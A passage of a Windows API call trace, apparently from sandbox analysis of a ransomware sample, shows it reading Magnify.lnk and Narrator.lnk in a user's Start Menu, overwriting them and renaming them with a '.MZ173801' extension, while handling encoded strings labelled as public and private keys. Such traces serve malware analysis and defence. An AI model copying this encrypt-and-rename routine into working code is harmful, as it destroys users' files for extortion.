lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0187.926] GetCurrentThreadId () returned 0xab4 [0187.926] GetCurrentThreadId () returned 0xab4 [0187.926] GetCurrentThreadId () returned 0xab4 [0187.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0187.926] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0187.927] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0187.927] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x452 [0187.927] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0187.927] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x452, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x452, lpOverlapped=0x0) returned 1 [0188.015] CloseHandle (hObject=0x330) returned 1 [0188.015] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0188.288] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x452, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x452, lpOverlapped=0x0) returned 1 [0188.289] CloseHandle (hObject=0x330) returned 1 [0188.398] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk.mz173801")) returned 1 [0189.180] GetCurrentThreadId () returned 0xab4 [0189.180] GetCurrentThreadId () returned 0xab4 [0189.180] GetCurrentThreadId () returned 0xab4 [0189.180] GetCurrentThreadId () returned 0xab4 [0189.180] GetCurrentThreadId () returned 0xab4 [0189.180] GetCurrentThreadId () returned 0xab4 [0189.180] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Narrator.lnk", cAlternateFileName="")) returned 1 [0189.180] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0189.180] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0189.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x454)) returned 1 [0189.180] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk")) returned 0x20 [0189.180] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk", dwFileAttributes=0x80) returned 1 [0189.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0189.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0189.556] GetCurrentThreadId () returned 0xab4 [0189.556] GetCurrentThreadId () returned 0xab4 [0189.557] GetCurrentThreadId () returned 0xab4 [0189.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0189.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0189.558] GetCurrentThreadId () returned 0xab4 [0189.558] GetCurrentThreadId () returned 0xab4 [0189.558] GetCurrentThreadId () returned 0xab4 [0189.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0189.558] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0189.558] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0189.558] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x454 [0189.558] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0189.558] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x454, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x454, lpOverlapped=0x0) returned 1 [0189.560] CloseHandle (hObject=0x330) returned 1 [0189.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0189.938] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x454, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x454, lpOverlapped=0x0) returned 1 [0189.939] CloseHandle (hObject=0x330) returned 1 [0190.182] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk.mz173801")) returned 1 [0190.625] GetCurrentThreadId () returned 0xab4 [0190.625] GetCurrentThreadId () returned 0xab4 [0190.625] GetCurrentThreadId () returned 0xab4 [0190.625] GetCurrentThreadId () returned 0xab4 [0190.625] GetCurrentThreadId () returned 0xab4 [0190.625] GetCurrentThreadId () returned 0xab4 [0190.625] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, 